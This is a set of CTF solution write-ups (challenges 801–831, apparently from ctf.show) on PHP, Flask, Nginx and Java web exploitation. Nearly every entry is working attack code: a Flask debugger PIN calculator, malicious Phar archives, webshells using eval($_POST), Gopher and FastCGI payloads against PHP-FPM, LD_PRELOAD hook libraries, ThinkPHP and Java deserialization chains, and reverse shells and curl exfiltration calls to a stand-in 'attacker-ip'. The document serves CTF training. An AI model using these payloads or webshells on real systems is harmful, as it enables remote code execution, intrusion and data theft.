Challenge 801: Flask Debugger PIN Exploitation
This challenge demonstrates calculating the debugger PIN for a Flask application running in debug mode. The target exposes the console endpoint and allows file reading through a query parameter.
First, retrieve the machine ID components:
# Node ID from network interface
/file?filename=/sys/class/net/eth0/address → 0242ac0c9f9f
# Convert hex to decimal: 2485377605532
# Boot ID
/file?filename=/proc/sys/kernel/random/boot_id → 225374fa-04bc-4346-9f39-48fa82829ca9
# cgroup entry
/file?filename=/proc/self/cgroup → b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d
# Combined machine_id: 225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d
Python script to compute the PIN:
import hashlib
from itertools import chain
def calculatePin(public_components, private_components):
hasher = hashlib.sha1()
for component in chain(public_components, private_components):
if not component:
continue
if isinstance(component, str):
component = component.encode('utf-8')
hasher.update(component)
hasher.update(b'cookiesalt')
cookie_name = f"__wzd{hasher.hexdigest()[:20]}"
hasher.update(b'pinsalt')
pin_number = f"{int(hasher.hexdigest(), 16):09d}"[:9]
for group_size in [5, 4, 3]:
if len(pin_number) % group_size == 0:
result = "-".join(
pin_number[x:x + group_size].rjust(group_size, "0")
for x in range(0, len(pin_number), group_size)
)
return result, cookie_name
return pin_number, cookie_name
public_data = [
'root',
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]
private_data = [
'2485377605532',
'225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d'
]
pin, cookie = calculatePin(public_data, private_data)
print(f"PIN: {pin}")
print(f"Cookie: {cookie}")
Challenge 802: Alphanumeric Command Execution Bypass
With alphanumeric characters filtered, use bitwise negation to execute commands.
<?php
class CommandInjector {
public function generatePayload($func, $cmd) {
$sanitized_func = str_replace(["\r\n", "\r", "\n"], "", $func);
$sanitized_cmd = str_replace(["\r\n", "\r", "\n"], "", $cmd);
return '(~' . urlencode(~$sanitized_func) . ')(~' . urlencode(~$sanitized_cmd) . ');';
}
}
$injector = new CommandInjector();
echo $injector->generatePayload('system', 'cat /flag');
?>
Challenge 803: Phar Archive File Inclusion
Create a malicious Phar archive to achieve code execution through file inclusion.
<?php
// Generate Phar archive
$archive = new Phar('malicious.phar');
$archive->startBuffering();
$archive->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$archive->addFromString('shell.txt', '<?php eval($_POST["x"]); ?>');
$archive->stopBuffering();
?>
# Upload and trigger
import requests
target = "http://challenge.ctf.show/"
upload_data = {
'file': '/tmp/malicious.phar',
'content': open('malicious.phar', 'rb').read()
}
trigger_data = {
'file': 'phar:///tmp/malicious.phar/shell',
'content': 'anything',
'x': 'system("cat /flag");'
}
requests.post(target, data=upload_data)
response = requests.post(target, data=trigger_data)
print(response.text)
Challenge 804: Phar Deserialization Attack
Trigger deserialization via file_exists() using Phar metadata.
<?php
class Exploit {
public $payload;
public function __destruct() {
eval($this->payload);
}
}
$exp = new Exploit();
$exp->payload = "system('cat /flag');";
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($exp);
$phar->addFromString('dummy.txt', 'data');
$phar->stopBuffering();
?>
# Exploitation script
import requests
target = "http://challenge.ctf.show/"
requests.post(target, data={
'file': '/tmp/exploit.phar',
'content': open('exploit.phar', 'rb').read()
})
response = requests.post(target, data={
'file': 'phar:///tmp/exploit.phar',
'content': 'trigger'
})
print(response.text)
Challenge 805: Open Basedir Restriction Bypass
When command execution functions are disabled, use directory traversal to bypass restrictions.
# Check disabled functions via phpinfo
1=phpinfo();
# Bypass payload using readfile
1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/ctfshowflag');
Challenge 806: Parameterless PHP RCE
Execute code without parameters using variable functions.
?code=eval(end(current(get_defined_vars())));&inject=system('cat /flag');
Challenge 807: SSRF Command Execution
Two methods to achieve RCE via SSRF:
Method 1: Fetch and execute reverse shell script
?url=https://your-shell.com/attacker-ip:1337 | sh
Method 2: Data exfiltration
?url=https://;curl http://attacker-ip:1338?flag=`cat /*`
Challenge 808: Session-Based File Inclusion
Race condition exploit to write a webshell via PHP session upload progress.
import requests, threading
session = requests.Session()
sess_name = "exploit"
target = "http://challenge.ctf.show/"
shell_path = "/var/www/html/shell.php"
shell_code = '<?php eval($_POST["cmd"]);?>'
def write_session():
while True:
requests.post(target, data={
"PHP_SESSION_UPLOAD_PROGRESS": f"<?php file_put_contents('{shell_path}', '{shell_code}');?>"
}, files={"file": "x"}, cookies={"PHPSESSID": sess_name})
def check_shell():
while True:
resp = requests.post(target + f"?file=/tmp/sess_{sess_name}")
if "success" in resp.text:
print(f"Shell uploaded to {target}shell.php")
exit()
for _ in range(30):
threading.Thread(target=write_session).start()
for _ in range(30):
threading.Thread(target=check_shell).start()
Challenge 809: PEAR Package Manager RCE
Exploit PEAR's config-create command to write a webshell.
# Write shell via PEAR
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['x']);?>+/var/www/html/shell.php
# Execute commands
?file=/var/www/html/shell.php&x=system('cat+/flag');
Challenge 810: SSRF to PHP-FPM Atttack
Attack PHP-FPM via FastCGI protocol using Gopher.
# Gopher payload to execute commands via PHP-FPM
?url=gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20=%20On%0Adisable_functions%20=%20%0Aauto_prepend_file%20=%20php://input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Exploit-----%0A%27%29%3B%3F%3E%00%00%00%00
Challenge 811: FTP Protocol PHP-FPM Exploitation
Use FTP protocol to relay malicious FastCGI packets to PHP-FPM.
# Malicious FTP server
import socket
s = socket.socket()
s.bind(('0.0.0.0', 1338))
s.listen(1)
conn, _ = s.accept()
conn.send(b'220 ready\n331 pass\n230 logged in\n200 binary\n550 size\n150 ok\n227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n150 denied\n221 bye\n')
conn.close()
# Payload
?file=ftp://attacker-ip:1338/test&content=[FastCGI packet]
Challenge 812: Direct PHP-FPM Unauthorized Access
Python script for direct PHP-FPM communication.
import socket, argparse, sys
from io import BytesIO
class FCGIClient:
def __init__(self, host, port, timeout=3):
self.host = host
self.port = port
self.timeout = timeout
self.sock = None
def connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
try:
self.sock.connect((self.host, int(self.port)))
return True
except:
return False
def execute(self, php_file, code):
if not self.connect():
return "Connection failed"
request_id = 1
packet = b"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
packet += b"\x01\x04\x00\x01\x00\xF6\x06\x00\x0F\x10SERVER_SOFTWAREphp/fcgiclient\x0B\x09REMOTE_ADDR127.0.0.1\x0F\x08SERVER_PROTOCOLHTTP/1.1\x0E\x02CONTENT_LENGTH" + str(len(code)).encode()
packet += b"\x0E\x04REQUEST_METHODPOST\x09KPHP_VALUEauto_prepend_file=php://input\x0F\x09SCRIPT_FILENAME" + php_file.encode() + b"\x0D\x01DOCUMENT_ROOT/\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + str(len(code)).encode() + b"\x04\x00" + code.encode()
self.sock.send(packet)
return self.sock.recv(4096).decode()
if __name__ == '__main__':
client = FCGIClient('target', 9000)
print(client.execute('/index.php', '<?php system("cat /flag"); ?>'))
Challenge 813: MySQL Extension Hijacking
Overwrite shared library files to execute malicious code when PHP loads extnesions.
// Compile malicious extension
php ext_skel.php --ext malicious --std
cd malicious
// Edit malicious.c to add system() call in custom function
phpize
./configure
make && make install
# Upload and trigger
import requests
target = "http://challenge.ctf.show/"
with open('malicious.so', 'rb') as f:
requests.post(target + '?a=write', data={'file': '/usr/local/lib/php/extensions/mysqli.so', 'content': f.read()})
requests.get(target + '?a=run')
Challenge 814: LD_PRELOAD getuid Hooking
Intercept process creation by hooking getuid() via LD_PRELOAD.
// hook.c
#include <stdlib.h>
#include <unistd.h>
void payload() {
system("curl http://attacker-ip:1337?flag=`cat /flag`");
}
int getuid() {
if (getenv("LD_PRELOAD") == NULL) return 0;
unsetenv("LD_PRELOAD");
payload();
return 0;
}
# Compile and exploit
gcc -fPIC -shared -o hook.so hook.c
# Upload script
import requests
target = "http://challenge.ctf.show/"
requests.post(target + '?a=write', data={'file': '/tmp/hook.so', 'content': open('hook.so', 'rb').read()})
requests.get(target + '?a=run&env=LD_PRELOAD=/tmp/hook.so')
Challenge 815: Constructor Attribute Hooking
Use GCC constructor attribute for more reliable hooking.
// constructor.c
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__((constructor)) void malicious() {
unsetenv("LD_PRELOAD");
system("curl http://attacker-ip:1337?flag=`cat /flag`");
}
# Compile and exploit
gcc -fPIC -shared -o constructor.so constructor.c
# Upload and trigger via mail() or similar function
Challenge 816: Temporary File LD_PRELOAD
Upload malicious .so via temporary file mechanism.
import requests
target = "http://challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
requests.post(target, files={'file': open('constructor.so', 'rb').read()})
Challenge 817: Nginx Body Cache LFI
Exploit Nginx's temporary file caching to access deleted files via /proc/pid/fd/.
import threading, socket, re
def find_pid():
s = socket.socket()
s.connect(('target', 80))
s.send(b'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n')
data = s.recv(1024).decode()
return re.findall('(\d+) www-data', data)[0]
def upload_payload():
payload = b"curl http://attacker-ip:1337?`cat /flag`;" + b'0'*1024*500
while True:
s = socket.socket()
s.connect(('target', 80))
s.send(b'POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: %d\r\n\r\n%s' % (len(payload), payload))
s.close()
def brute_fd(pid):
while True:
for fd in range(3, 40):
s = socket.socket()
s.connect(('target', 80))
s.send(b'GET /?file=/proc/%s/fd/%d HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n' % (pid.encode(), fd))
print(s.recv(2048).decode())
s.close()
pid = find_pid()
threading.Thread(target=upload_payload).start()
threading.Thread(target=lambda: brute_fd(pid)).start()
Challenge 818: Nginx Body Cache with LD_PRELOAD
Combine Nginx caching with LD_PRELOAD for code execution.
import threading, socket
def upload_so():
so_data = open('constructor.so', 'rb').read() + b'\n'*1024*200
while True:
s = socket.socket()
s.connect(('target', 80))
s.send(b'POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: %d\r\n\r\n%s' % (len(so_data), so_data))
s.close()
def trigger_payload(pid):
while True:
for fd in range(3, 40):
s = socket.socket()
s.connect(('target', 80))
s.send(b'GET /?env=LD_PRELOAD=/proc/%s/fd/%d HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n' % (str(pid).encode(), fd))
s.close()
# Get PID and launch threads
Challenge 819: Shellshock Environment Varible Exploit
Exploit Bash function export vulnerability.
?env=BASH_FUNC_whoami%%=() { cat /flag; }
Challenge 821: 7-Character Command Execution (Writable)
Construct command sequences using file creation and ls -t ordering.
import requests, time
target = "http://challenge.ctf.show/"
payloads = [
">hp", ">1.p\\", ">d\\>\\", ">\\ -\\", ">e64\\", ">bas\\", ">7\\|\\",
">XSk\\", ">Fsx\\", ">dFV\\", ">kX0\\", ">bCg\\", ">XZh\\", ">AgZ\\",
">waH\\", ">PD9\\", ">o\\ \\", ">ech\\", "ls -t>0", ". 0"
]
for p in payloads:
requests.post(target, data={"cmd": p})
time.sleep(0.5)
Challenge 822: 7-Character Command Execution (Non-Writable)
Use wildcard expansion to execute from temporary files.
import requests
target = "http://challenge.ctf.show/"
requests.post(target, files={'file': 'nc attacker-ip 1337 -e /bin/sh'}, data={'cmd': '. /t*/*'})
Challenge 823: 5-Character Command Execution with dir
Leverage dir command for non-newline output suitable for command chaining.
import requests, time
target = "http://challenge.ctf.show/"
payloads = [
">tar", ">vcf", ">z", ">php", ">a.\\", ">\\>\\", ">-d\\",
# ... additional payloads to create base64-encoded PHP shell
"sh z", "sh j"
]
for p in payloads:
requests.post(target, data={"cmd": p})
time.sleep(0.3)
Challenge 824: 5-Character Command Execution with grep
Use grep to filter and reconstruct commands.
payloads = [">grep", ">h", "*>j", "rm g*", ">cat", "*>>i", ">cp", "*"]
Challenge 825: 4-Character Command Execution with dir
Minimal character count exploitation using dir and wildcard execution.
payloads = [
">sl", ">kt-", ">j\\>", ">j\\#", ">dir", "*>v", ">rev", "*v>x",
# ... creates reversed base64 payload
"sh x", "sh j"
]
Challenge 826-827: 4-Character No dir Exploitation
Use ls with $IFS for space substitution and external resource fetching.
# For internet-accessible targets
payloads = [">\\ \\", ">-t\\", ">\\>a", ">ls\\", "ls>v", ">mv", ">vt", "*v*"]
# For isolated targets, use local PHP execution
payloads = [">php", ">a.\\", ">\\>\\", ">-d\\", ">64\\", ">se\\", ">ba\\", ">PD9\\"]
Challenge 828: ThinkPHP 6.0.12 Deserialization
Exploit ThinkPHP's model abstraction for RCE.
<?php
namespace think {
abstract class Model {
private $lazySave = true;
private $data = ['cmd' => ['cat /flag']];
private $exists = true;
protected $table;
private $withAttr = ['cmd' => ['system']];
protected $json = ['cmd'];
protected $jsonAssoc = true;
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {}
}
echo urlencode(serialize(new \think\model\Pivot(new \think\model\Pivot())));
?>
Challenge 829-831: Java Deserialization Chains
Exploit readObject() in user-defined classes for command execution.
// Base exploit class
public class ExploitGenerator {
public static void main(String[] args) throws Exception {
// For challenge 829: Direct User class exploitation
User user = new User("nc attacker-ip 1337 -e /bin/sh");
// For challenge 830: Parent class exploitation
user.secret = "nc attacker-ip 1337 -e /bin/sh";
// For challenge 831: BaseUser direct exploitation
BaseUser baseUser = new BaseUser();
baseUser.secret = "nc attacker-ip 1337 -e /bin/sh";
serialize(baseUser); // Works for all variants
}
public static void serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}